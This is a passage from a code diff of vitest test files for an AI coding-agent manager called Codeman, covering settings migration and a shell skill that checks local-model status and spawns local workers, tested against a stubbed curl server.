it('switches nothing on and writes no marker', async () => {
|
||||
seed({ agentSkillEnabled: false });
|
||||
// A path below a regular file: lstat answers ENOTDIR, not ENOENT.
|
||||
expect(await migrateAgentSkillDefault(join(SETTINGS_PATH, 'marker.json'))).toBe('refused');
|
||||
expect(stored()).toEqual({ agentSkillEnabled: false });
|
||||
expect(existsSync(MARKER)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('with the page and the server (port 0)', () => {
|
||||
let server: WebServer;
|
||||
const url = (p: string) => `http://localhost:${server.boundPort}${p}`;
|
||||
|
||||
beforeAll(async () => {
|
||||
server = new WebServer(0, false, true);
|
||||
await server.start();
|
||||
}, 30000);
|
||||
|
||||
afterAll(async () => {
|
||||
await server?.stop();
|
||||
}, 30000);
|
||||
|
||||
it('an off saved through PUT /api/settings after the migration stays off at the next start, and the PUT leaves the marker alone', async () => {
|
||||
seed({ agentSkillEnabled: false, lastUsedCase: 'demo' });
|
||||
expect(await migrateAgentSkillDefault()).toBe('switched-on');
|
||||
const markerBytes = readFileSync(MARKER, 'utf-8');
|
||||
|
||||
// What the page sends when the user turns the switch off (plus another synced key).
|
||||
const res = await fetch(url('/api/settings'), {
|
||||
method: 'PUT',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ agentSkillEnabled: false, autoNameSessions: true }),
|
||||
});
|
||||
expect(res.status).toBe(200);
|
||||
expect(stored()).toEqual({ agentSkillEnabled: false, lastUsedCase: 'demo', autoNameSessions: true });
|
||||
expect(readFileSync(MARKER, 'utf-8')).toBe(markerBytes);
|
||||
|
||||
expect(await migrateAgentSkillDefault()).toBe('already-done');
|
||||
expect(stored().agentSkillEnabled).toBe(false);
|
||||
});
|
||||
|
||||
it('GET /api/settings never carries the marker, so the page cannot hold or send it', async () => {
|
||||
seed({ agentSkillEnabled: false });
|
||||
await migrateAgentSkillDefault();
|
||||
const res = await fetch(url('/api/settings'));
|
||||
const body = (await res.json()) as Record<string, unknown>;
|
||||
const data = (body.success === true ? body.data : body) as Record<string, unknown>;
|
||||
expect(data).toEqual({ agentSkillEnabled: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe('placement', () => {
|
||||
it('the marker is not a config-backup file, so a restore never re-arms or drops it', () => {
|
||||
expect(CONFIG_BACKUP_FILES as readonly string[]).not.toContain(AGENT_SKILL_DEFAULT_MARKER);
|
||||
});
|
||||
|
||||
it('WebServer.start() runs it before its first settings read, the restore and listen, and drops the settings cache', () => {
|
||||
const source = readFileSync(resolve(import.meta.dirname, '../src/web/server.ts'), 'utf8');
|
||||
const start = source.slice(source.indexOf(' async start(): Promise<void> {'));
|
||||
const call = start.indexOf('await migrateAgentSkillDefault()');
|
||||
expect(call).toBeGreaterThan(0);
|
||||
for (const later of [
|
||||
'await this.getAgentInboxPersistEnabled()',
|
||||
'await this.restoreMuxSessions()',
|
||||
'await this.app.listen(',
|
||||
]) {
|
||||
expect(start.indexOf(later), later).toBeGreaterThan(call);
|
||||
}
|
||||
expect(start.slice(call, call + 200)).toContain('this._settingsCache = null;');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,928 @@
|
||||
/**
|
||||
* @fileoverview The codeman skill's local model helpers: `local_model`, the `local` worker kind
|
||||
* of `spawn_worker`, and `sendmark`.
|
||||
*
|
||||
* Runs the REAL `skills/codeman/preamble.sh` in bash with `CURL` replaced by a stub that plays a
|
||||
* fake Codeman: it records every request (method, route, query, body) in order and answers from
|
||||
* files the test wrote, one per route and optionally one per call of that route. So these check
|
||||
* what the functions put on the wire and what they make of each answer, never a copy of their
|
||||
* logic, and nothing here talks to a real server.
|
||||
*
|
||||
* Port: N/A (no server; the stub answers every request).
|
||||
*/
|
||||
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { execFileSync, spawnSync } from 'node:child_process';
|
||||
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
|
||||
const PREAMBLE = join(__dirname, '..', 'skills', 'codeman', 'preamble.sh');
|
||||
const API = 'http://127.0.0.1:9';
|
||||
const SELF = 'caller-session-0000';
|
||||
const SID = 'worker-local-0001';
|
||||
|
||||
// The preamble builds every request body with jq.
|
||||
let hasJq = true;
|
||||
try {
|
||||
execFileSync('jq', ['--version'], { stdio: 'ignore' });
|
||||
} catch {
|
||||
hasJq = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* The fake Codeman. Each call is appended to $CALLS as one JSON line, then answered from
|
||||
* $ANSWERS/<route>.<n> (the n-th call of that route) or $ANSWERS/<route>. `<file>.code` is the
|
||||
* HTTP status `-w` reports (default 200) and `<file>.delay` seconds to sleep first. A wait-output
|
||||
* for `DONE_<token>` writes $WD/codeman-answer-<token>.md first when $ANSWER_TEXT is set, or a
|
||||
* symlink to $ANSWER_SYMLINK, the way a worker would before printing its marker; with
|
||||
* $ANSWER_APPEND it appends that line on every such call, a worker still writing its answer.
|
||||
*
|
||||
* Written without a single dollar-brace, because this is a JS template literal.
|
||||
*/
|
||||
const STUB = String.raw`
|
||||
stub() {
|
||||
local m=GET u='' d='' q='' w='' route key n f tok
|
||||
while [ "$#" -gt 0 ]; do
|
||||
case "$1" in
|
||||
-X) m=$2; shift ;;
|
||||
-d|--data-binary) d=$2; shift ;;
|
||||
--data-urlencode) q="$q&$2"; shift ;;
|
||||
-w) w=$2; shift ;;
|
||||
-H|-u|-o) shift ;;
|
||||
http*) u=$1 ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
route=$(printf '%s' "$u" | sed "s|^$CODEMAN_API_URL/api/v1/||")
|
||||
case "$route" in
|
||||
local-model) key=lm-get ;;
|
||||
local-model/runtime) key=lm-runtime ;;
|
||||
quick-start) key=quick-start ;;
|
||||
sessions/*/*) key=$(basename "$route") ;;
|
||||
sessions/*) if [ "$m" = DELETE ]; then key=delete; else key=session; fi ;;
|
||||
*) key=other ;;
|
||||
esac
|
||||
jq -nc --arg m "$m" --arg k "$key" --arg q "$q" --arg d "$d" '{m:$m,key:$k,q:$q,d:$d}' >> "$CALLS"
|
||||
n=$(grep -cF "\"key\":\"$key\"" "$CALLS")
|
||||
f="$ANSWERS/$key.$n"; [ -f "$f" ] || f="$ANSWERS/$key"
|
||||
if [ "$key" = wait-output ]; then
|
||||
case "$q" in *match=DONE_*)
|
||||
tok=$(printf '%s' "$q" | sed -e 's/.*match=DONE_//' -e 's/&.*//')
|
||||
if [ -n "$ANSWER_TEXT" ]; then printf '%s' "$ANSWER_TEXT" > "$WD/codeman-answer-$tok.md"; fi
|
||||
if [ -n "$ANSWER_APPEND" ]; then printf '%s\n' "$ANSWER_APPEND" >> "$WD/codeman-answer-$tok.md"; fi
|
||||
if [ -n "$ANSWER_SYMLINK" ]; then ln -s "$ANSWER_SYMLINK" "$WD/codeman-answer-$tok.md"; fi ;;
|
||||
esac
|
||||
fi
|
||||
[ -f "$f.delay" ] && sleep "$(cat "$f.delay")"
|
||||
if [ -f "$f" ]; then cat "$f"; else printf '%s' '{"success":false,"error":"no stub answer","errorCode":"NOT_FOUND"}'; fi
|
||||
if [ -n "$w" ]; then printf '\n%s' "$(cat "$f.code" 2>/dev/null || echo 200)"; fi
|
||||
}
|
||||
CURL=(stub)
|
||||
`;
|
||||
|
||||
interface Call {
|
||||
m: string;
|
||||
key: string;
|
||||
q: string;
|
||||
d: string;
|
||||
}
|
||||
|
||||
interface Run {
|
||||
rc: number | null;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
calls: Call[];
|
||||
wd: string;
|
||||
}
|
||||
|
||||
const dirs: string[] = [];
|
||||
afterEach(() => {
|
||||
for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
/** Sources the preamble, installs the stub, runs `body`, and returns what happened. */
|
||||
function runSkill(body: string, answers: Record<string, string> = {}, env: Record<string, string> = {}): Run {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'codeman-local-skill-'));
|
||||
dirs.push(dir);
|
||||
const answerDir = join(dir, 'answers');
|
||||
const wd = join(dir, 'wd');
|
||||
const calls = join(dir, 'calls');
|
||||
mkdirSync(answerDir);
|
||||
mkdirSync(wd);
|
||||
writeFileSync(calls, '');
|
||||
for (const [name, content] of Object.entries(answers)) writeFileSync(join(answerDir, name), content);
|
||||
const res = spawnSync('bash', ['-c', `. "$PREAMBLE" >/dev/null\n${STUB}\n${body}`], {
|
||||
encoding: 'utf-8',
|
||||
timeout: 20_000,
|
||||
env: {
|
||||
PATH: process.env.PATH,
|
||||
HOME: process.env.HOME,
|
||||
PREAMBLE,
|
||||
CALLS: calls,
|
||||
ANSWERS: answerDir,
|
||||
WD: wd,
|
||||
CODEMAN_API_URL: API,
|
||||
CODEMAN_SESSION_ID: SELF,
|
||||
...env,
|
||||
},
|
||||
});
|
||||
const callList = readFileSync(calls, 'utf-8')
|
||||
.split('\n')
|
||||
.filter(Boolean)
|
||||
.map((line) => JSON.parse(line) as Call);
|
||||
return { rc: res.status, stdout: res.stdout, stderr: res.stderr, calls: callList, wd };
|
||||
}
|
||||
|
||||
/** The `data` of GET /api/local-model, as the server builds it. */
|
||||
function status(install: Record<string, unknown>, recommendation: Record<string, unknown> = {}): string {
|
||||
return JSON.stringify({
|
||||
success: true,
|
||||
data: {
|
||||
hardware: { platform: 'darwin' },
|
||||
recommendation: { verdict: 'ok', headline: { text: 'A model fits.' }, ...recommendation },
|
||||
catalogUpdated: '2026-11-06',
|
||||
install: { running: false, actions: [], ...install },
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
const INSTALLED = {
|
||||
state: 'installed',
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
endpointId: 'local-ollama',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
|
||||
};
|
||||
const RUNNING = status({ ...INSTALLED, running: true, actions: ['start-session', 'stop', 'remove'] });
|
||||
const STOPPED = status({ ...INSTALLED, running: false, actions: ['start', 'remove'] });
|
||||
/** What a 1.51 server lists beside `cli`: the agents the model can be run with, and the models on the Mac. */
|
||||
const AGENTS = [
|
||||
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: ['start-session'] },
|
||||
{ cli: 'pi', cliLabel: 'Pi', default: false, status: 'ready', actions: ['start-session'] },
|
||||
{
|
||||
cli: 'deepseek',
|
||||
cliLabel: 'DeepSeek',
|
||||
default: false,
|
||||
status: 'ready',
|
||||
readyMark: '❯',
|
||||
actions: ['start-session'],
|
||||
},
|
||||
{ cli: 'claude', cliLabel: 'Claude Code', default: false, status: 'installable', installCommand: 'x', actions: [] },
|
||||
];
|
||||
const LIBRARY = [
|
||||
{ id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, verified: true, status: 'ready', sizeGb: '23.1' },
|
||||
{ id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, verified: true, status: 'ready', sizeGb: '13.8' },
|
||||
];
|
||||
const WITH_AGENTS = status({
|
||||
...INSTALLED,
|
||||
running: true,
|
||||
harnesses: AGENTS,
|
||||
library: LIBRARY,
|
||||
actions: ['start-session', 'stop', 'remove'],
|
||||
});
|
||||
const QUICK_START = JSON.stringify({ success: true, data: { sessionId: SID, casePath: '/tmp/summ' } });
|
||||
const MATCHED = JSON.stringify({ success: true, data: { wait: { matched: true, timedOut: false, ended: false } } });
|
||||
const NOT_MATCHED = JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true, ended: false } } });
|
||||
|
||||
function lastJson(stdout: string): Record<string, unknown> {
|
||||
const lines = stdout.trim().split('\n');
|
||||
return JSON.parse(lines[lines.length - 1]) as Record<string, unknown>;
|
||||
}
|
||||
|
||||
describe.skipIf(!hasJq)('preamble local_model', () => {
|
||||
const cases: Array<{ name: string; body: string; code?: string; rc: number; expect: Record<string, unknown> }> = [
|
||||
{
|
||||
name: 'a running model: spawnable now, with the harness, endpoint and model',
|
||||
body: RUNNING,
|
||||
rc: 0,
|
||||
expect: {
|
||||
spawnable: true,
|
||||
running: true,
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
endpointId: 'local-ollama',
|
||||
modelId: 'qwen3.6:35b-a3b',
|
||||
modelLabel: 'Qwen3.6 35B-A3B',
|
||||
},
|
||||
},
|
||||
{
|
||||
name: 'a server that lists them: the agents with their status and mark, and the models on this Mac',
|
||||
body: WITH_AGENTS,
|
||||
rc: 0,
|
||||
expect: {
|
||||
spawnable: true,
|
||||
cli: 'opencode',
|
||||
agents: [
|
||||
{ cli: 'opencode', cliLabel: 'OpenCode', status: 'ready', default: true, readyMark: '┃' },
|
||||
{ cli: 'pi', cliLabel: 'Pi', status: 'ready', default: false },
|
||||
{ cli: 'deepseek', cliLabel: 'DeepSeek', status: 'ready', default: false, readyMark: '❯' },
|
||||
{ cli: 'claude', cliLabel: 'Claude Code', status: 'installable', default: false },
|
||||
],
|
||||
models: [
|
||||
{ id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, status: 'ready', sizeGb: '23.1' },
|
||||
{ id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, status: 'ready', sizeGb: '13.8' },
|
||||
],
|
||||
},
|
||||
},
|
||||
{
|
||||
name: 'installed, but no coding agent that can run it is on this Mac: no-agent, running or stopped',
|
||||
body: status({
|
||||
...INSTALLED,
|
||||
running: false,
|
||||
harnesses: [
|
||||
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installable', actions: ['install'] },
|
||||
],
|
||||
// `start` with no error alone would read as spawnable.
|
||||
actions: ['start', 'install-agent', 'remove'],
|
||||
}),
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'no-agent', agents: [{ cli: 'opencode', status: 'installable' }] },
|
||||
},
|
||||
{
|
||||
name: 'an installed model whose runtime is stopped: spawnable once started',
|
||||
body: STOPPED,
|
||||
rc: 0,
|
||||
expect: { spawnable: true, running: false, cli: 'opencode' },
|
||||
},
|
||||
{
|
||||
name: 'start offered beside an error (another program holds the port): blocked, with the sentence',
|
||||
body: status({
|
||||
...INSTALLED,
|
||||
actions: ['start', 'remove'],
|
||||
error: {
|
||||
code: 'port-in-use',
|
||||
next: 'other-port',
|
||||
message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
|
||||
},
|
||||
}),
|
||||
rc: 1,
|
||||
expect: {
|
||||
spawnable: false,
|
||||
reason: 'blocked',
|
||||
errorCode: 'port-in-use',
|
||||
message: 'Port 11435 is in use by another program.',
|
||||
},
|
||||
},
|
||||
{
|
||||
name: 'not a Mac',
|
||||
body: JSON.stringify({
|
||||
success: true,
|
||||
data: {
|
||||
hardware: { platform: 'linux' },
|
||||
recommendation: { verdict: 'none', reason: 'not-macos', headline: { text: 'x' } },
|
||||
install: { state: 'idle', running: false, actions: ['install'] },
|
||||
},
|
||||
}),
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'not-mac' },
|
||||
},
|
||||
{
|
||||
name: 'nothing installed',
|
||||
body: status({ state: 'idle', actions: ['install'] }),
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'not-installed' },
|
||||
},
|
||||
{
|
||||
name: 'nothing installed on a Mac that fits none: the reason is the server sentence',
|
||||
body: status(
|
||||
{ state: 'idle', actions: ['install'] },
|
||||
{
|
||||
verdict: 'none',
|
||||
reason: 'memory',
|
||||
headline: { text: 'Nothing fits in {budget} GB.', vars: { budget: '12' } },
|
||||
}
|
||||
),
|
||||
rc: 1,
|
||||
expect: {
|
||||
spawnable: false,
|
||||
reason: 'not-installed',
|
||||
message: 'No local model is installed. Nothing fits in 12 GB.',
|
||||
},
|
||||
},
|
||||
{
|
||||
name: 'an install that has not finished',
|
||||
body: status({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] }),
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'install-unfinished', state: 'paused', step: 'model' },
|
||||
},
|
||||
{
|
||||
name: 'admin only in multi-user mode (403)',
|
||||
body: JSON.stringify({ success: false, error: 'Admin only in multi-user mode', errorCode: 'FORBIDDEN' }),
|
||||
code: '403',
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'admin-only' },
|
||||
},
|
||||
{
|
||||
name: 'a Codeman without local model support (404)',
|
||||
body: JSON.stringify({ message: 'Route GET:/api/local-model not found', error: 'Not Found', statusCode: 404 }),
|
||||
code: '404',
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'unsupported' },
|
||||
},
|
||||
{
|
||||
name: 'refused credentials (a plain-text 401)',
|
||||
body: 'Unauthorized',
|
||||
code: '401',
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'unauthorized' },
|
||||
},
|
||||
{
|
||||
name: 'no answer at all',
|
||||
body: '',
|
||||
code: '000',
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'unreachable' },
|
||||
},
|
||||
{
|
||||
name: 'any other failure carries its status and error',
|
||||
body: JSON.stringify({ success: false, error: 'boom', errorCode: 'INTERNAL_ERROR' }),
|
||||
code: '500',
|
||||
rc: 1,
|
||||
expect: { spawnable: false, reason: 'error', status: '500', message: 'boom' },
|
||||
},
|
||||
];
|
||||
|
||||
for (const c of cases) {
|
||||
it(c.name, () => {
|
||||
const answers: Record<string, string> = { 'lm-get': c.body };
|
||||
if (c.code) answers['lm-get.code'] = c.code;
|
||||
const run = runSkill('local_model', answers);
|
||||
expect(run.rc).toBe(c.rc);
|
||||
expect(run.stdout.trim().split('\n')).toHaveLength(1);
|
||||
expect(lastJson(run.stdout)).toMatchObject(c.expect);
|
||||
// One read-only GET of the alias path, and nothing else.
|
||||
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual(['GET lm-get']);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe.skipIf(!hasJq)('preamble spawn_worker <name> local', () => {
|
||||
it('starts a stopped runtime, then quick-starts the harness on the endpoint and waits for its composer', () => {
|
||||
const run = runSkill(
|
||||
'spawn_worker summ local',
|
||||
{
|
||||
'lm-get.1': STOPPED,
|
||||
'lm-runtime': JSON.stringify({ success: true, data: { state: 'installed', running: false } }),
|
||||
'lm-get.2': RUNNING,
|
||||
'quick-start': QUICK_START,
|
||||
'wait-output': MATCHED,
|
||||
},
|
||||
// A cloud advisor must never be attached to a worker on the local model.
|
||||
{ CODEMAN_WORKER_ADVISOR: 'opus' }
|
||||
);
|
||||
expect(run.stderr).toBe('');
|
||||
expect(run.rc).toBe(0);
|
||||
expect(run.stdout).toBe(`${SID}\n`);
|
||||
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
|
||||
'GET lm-get',
|
||||
'POST lm-runtime',
|
||||
'GET lm-get',
|
||||
'POST quick-start',
|
||||
'GET wait-output',
|
||||
]);
|
||||
expect(JSON.parse(run.calls[1].d)).toEqual({ action: 'start' });
|
||||
expect(JSON.parse(run.calls[3].d)).toEqual({
|
||||
caseName: 'summ',
|
||||
mode: 'opencode',
|
||||
parentSessionId: SELF,
|
||||
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
|
||||
});
|
||||
expect(run.calls[4].q).toContain('match=┃');
|
||||
expect(run.calls[4].q).toContain('from=buffer');
|
||||
});
|
||||
|
||||
it('does not touch a runtime that already runs', () => {
|
||||
const run = runSkill('spawn_worker summ local', {
|
||||
'lm-get': RUNNING,
|
||||
'quick-start': QUICK_START,
|
||||
'wait-output': MATCHED,
|
||||
});
|
||||
expect(run.rc).toBe(0);
|
||||
expect(run.stdout).toBe(`${SID}\n`);
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
|
||||
});
|
||||
|
||||
for (const answer of [
|
||||
{ requiresContextWarning: true, modelId: 'qwen3.6:35b-a3b', contextLength: 32768, minSafeContextTokens: 40000 },
|
||||
{ requiresConfirmation: true, currentlyLoadedModel: 'other', affectedSessions: [{ id: 'x', name: 'w9' }] },
|
||||
]) {
|
||||
it(`never confirms on anyone's behalf: ${Object.keys(answer)[0]} fails the spawn with empty stdout`, () => {
|
||||
// The route returns these bare; the server's envelope wraps them as success data.
|
||||
const run = runSkill('spawn_worker summ local', {
|
||||
'lm-get': RUNNING,
|
||||
'quick-start': JSON.stringify({ success: true, data: answer }),
|
||||
});
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toMatch(/wants a person to confirm/);
|
||||
expect(run.stderr).toContain(Object.keys(answer)[0]);
|
||||
// One quick-start, sent without any confirmation flag, and nothing after it.
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start']);
|
||||
expect(JSON.parse(run.calls[1].d).customModel).toEqual({
|
||||
endpointId: 'local-ollama',
|
||||
modelId: 'qwen3.6:35b-a3b',
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
it('reports a refused launch (the runtime check in quick-start) and spawns nothing', () => {
|
||||
const run = runSkill('spawn_worker summ local', {
|
||||
'lm-get': RUNNING,
|
||||
'quick-start': JSON.stringify({
|
||||
success: false,
|
||||
error: 'The model on this Mac is not running.',
|
||||
errorCode: 'OPERATION_FAILED',
|
||||
}),
|
||||
});
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toContain('OPERATION_FAILED');
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start']);
|
||||
});
|
||||
|
||||
it('refuses before any quick-start when no local model is installed', () => {
|
||||
const run = runSkill('spawn_worker summ local', { 'lm-get': status({ state: 'idle', actions: ['install'] }) });
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toMatch(/no local model to spawn on \(not-installed\)/);
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
|
||||
});
|
||||
|
||||
it('reports a runtime that was started but did not come up, and spawns nothing', () => {
|
||||
const failed = status({
|
||||
...INSTALLED,
|
||||
actions: ['start', 'remove'],
|
||||
error: { code: 'runtime-start-failed', next: 'start', message: { text: 'The runtime did not start.' } },
|
||||
});
|
||||
const run = runSkill('spawn_worker summ local', {
|
||||
'lm-get.1': STOPPED,
|
||||
'lm-runtime': JSON.stringify({ success: true, data: { state: 'installed', running: false } }),
|
||||
'lm-get.2': failed,
|
||||
});
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toMatch(/started, but \(blocked\): The runtime did not start\./);
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'lm-runtime', 'lm-get']);
|
||||
});
|
||||
|
||||
it('deletes a worker whose composer never drew and hands back nothing', () => {
|
||||
const run = runSkill('spawn_worker summ local', {
|
||||
'lm-get': RUNNING,
|
||||
'quick-start': QUICK_START,
|
||||
'wait-output': JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true } } }),
|
||||
delete: JSON.stringify({ success: true, data: {} }),
|
||||
});
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toMatch(/never drew/);
|
||||
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
|
||||
'GET lm-get',
|
||||
'POST quick-start',
|
||||
'GET wait-output',
|
||||
'DELETE delete',
|
||||
]);
|
||||
});
|
||||
|
||||
it('refuses a harness it knows no composer mark for, unless LOCAL_READY_MARK names one', () => {
|
||||
const other = status({ ...INSTALLED, cli: 'omp', running: true, actions: ['start-session', 'stop', 'remove'] });
|
||||
const refused = runSkill('spawn_worker summ local', { 'lm-get': other });
|
||||
expect(refused.rc).toBe(1);
|
||||
expect(refused.stdout).toBe('');
|
||||
expect(refused.stderr).toMatch(/LOCAL_READY_MARK/);
|
||||
expect(refused.calls.map((call) => call.key)).toEqual(['lm-get']);
|
||||
|
||||
const marked = runSkill(
|
||||
'spawn_worker summ local',
|
||||
{ 'lm-get': other, 'quick-start': QUICK_START, 'wait-output': MATCHED },
|
||||
{ LOCAL_READY_MARK: 'omp-ready' }
|
||||
);
|
||||
expect(marked.rc).toBe(0);
|
||||
expect(marked.stdout).toBe(`${SID}\n`);
|
||||
expect(JSON.parse(marked.calls[1].d).mode).toBe('omp');
|
||||
expect(marked.calls[2].q).toContain('match=omp-ready');
|
||||
});
|
||||
|
||||
describe("local:<agent>: the coding agent is the caller's choice", () => {
|
||||
const spawn = (kind: string, lm: string = WITH_AGENTS, env: Record<string, string> = {}) =>
|
||||
runSkill(`spawn_worker summ ${kind}`, { 'lm-get': lm, 'quick-start': QUICK_START, 'wait-output': MATCHED }, env);
|
||||
|
||||
it('plain local still starts the default agent, with the mark the server names', () => {
|
||||
const run = spawn('local');
|
||||
expect(run.rc).toBe(0);
|
||||
expect(JSON.parse(run.calls[1].d)).toEqual({
|
||||
caseName: 'summ',
|
||||
mode: 'opencode',
|
||||
parentSessionId: SELF,
|
||||
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
|
||||
});
|
||||
expect(run.calls[2].q).toContain('match=┃');
|
||||
});
|
||||
|
||||
it('local:pi starts Pi without trusting the folder, and waits for the end of its startup', () => {
|
||||
const run = spawn('local:pi');
|
||||
expect(run.stderr).toBe('');
|
||||
expect(run.rc).toBe(0);
|
||||
expect(run.stdout).toBe(`${SID}\n`);
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
|
||||
expect(JSON.parse(run.calls[1].d)).toEqual({
|
||||
caseName: 'summ',
|
||||
mode: 'pi',
|
||||
parentSessionId: SELF,
|
||||
// --no-approve: the task prompt must never answer Pi's trust question.
|
||||
piConfig: { approveProjectTrust: false },
|
||||
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
|
||||
});
|
||||
// Not its composer rule, which is painted before Pi takes Enter.
|
||||
expect(run.calls[2].q).toContain('match=extended-keys');
|
||||
expect(run.calls[2].q).not.toContain('match=─');
|
||||
});
|
||||
|
||||
it('local:deepseek starts DeepSeek Harness with the permission posture of the Run button, at its composer glyph', () => {
|
||||
const run = spawn('local:deepseek');
|
||||
expect(run.rc).toBe(0);
|
||||
expect(JSON.parse(run.calls[1].d)).toEqual({
|
||||
caseName: 'summ',
|
||||
mode: 'deepseek',
|
||||
parentSessionId: SELF,
|
||||
deepSeekConfig: { permissionMode: 'danger-full-access' },
|
||||
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
|
||||
});
|
||||
expect(run.calls[2].q).toContain('match=❯');
|
||||
});
|
||||
|
||||
it('a DeepSeek Harness worker that opened its setup guide is deleted, never handed back: its cursor is the mark too', () => {
|
||||
// dsh-TUI 0.19.0, as the rendered pane reads: the guide, with `❯` on its first step.
|
||||
const guide = JSON.stringify({
|
||||
success: true,
|
||||
data: {
|
||||
terminalBuffer:
|
||||
'\u001b[1mWelcome to dsh-TUI\u001b[0m Step 1 of 4\r\n ✗ No DEEPSEEK_API_KEY yet\r\n❯ Sign in to a subscription (OAuth)\r\n',
|
||||
},
|
||||
});
|
||||
const composer = JSON.stringify({
|
||||
success: true,
|
||||
data: {
|
||||
terminalBuffer:
|
||||
'╭────╮\r\n│ ❯ Say something, or type / for commands…\r\n╰────╯\r\n qwen3.6:35b-a3b · standard\r\n',
|
||||
},
|
||||
});
|
||||
const answers = { 'lm-get': WITH_AGENTS, 'quick-start': QUICK_START, 'wait-output': MATCHED };
|
||||
|
||||
const blocked = runSkill('spawn_worker rev local:deepseek', {
|
||||
...answers,
|
||||
terminal: guide,
|
||||
delete: JSON.stringify({ success: true, data: {} }),
|
||||
});
|
||||
expect(blocked.rc).toBe(1);
|
||||
expect(blocked.stdout).toBe('');
|
||||
expect(blocked.stderr).toMatch(/setup guide/);
|
||||
expect(blocked.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
|
||||
'GET lm-get',
|
||||
'POST quick-start',
|
||||
'GET wait-output',
|
||||
'GET terminal',
|
||||
'DELETE delete',
|
||||
]);
|
||||
|
||||
const ready = runSkill('spawn_worker rev local:deepseek', { ...answers, terminal: composer });
|
||||
expect(ready.stderr).toBe('');
|
||||
expect(ready.rc).toBe(0);
|
||||
expect(ready.stdout).toBe(`${SID}\n`);
|
||||
|
||||
// The same look for a DeepSeek worker that is not on the local model.
|
||||
const cloud = runSkill('spawn_worker rev deepseek', {
|
||||
'quick-start': QUICK_START,
|
||||
'wait-output': MATCHED,
|
||||
terminal: guide,
|
||||
delete: JSON.stringify({ success: true, data: {} }),
|
||||
});
|
||||
expect(cloud.rc).toBe(1);
|
||||
expect(cloud.stdout).toBe('');
|
||||
expect(cloud.stderr).toMatch(/setup guide/);
|
||||
expect(cloud.calls.map((call) => call.key)).toEqual(['quick-start', 'wait-output', 'terminal', 'delete']);
|
||||
});
|
||||
|
||||
it('a mark the server names wins over the one this skill measured, and LOCAL_READY_MARK over both', () => {
|
||||
const named = status({
|
||||
...INSTALLED,
|
||||
running: true,
|
||||
harnesses: AGENTS.map((agent) => (agent.cli === 'pi' ? { ...agent, readyMark: 'pi-is-up' } : agent)),
|
||||
actions: ['start-session', 'stop', 'remove'],
|
||||
});
|
||||
expect(spawn('local:pi', named).calls[2].q).toContain('match=pi-is-up');
|
||||
expect(spawn('local:pi', named, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
|
||||
expect(spawn('local:opencode', WITH_AGENTS, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
|
||||
});
|
||||
|
||||
it('refuses an agent that is not startable, names the ones that are, and starts nothing', () => {
|
||||
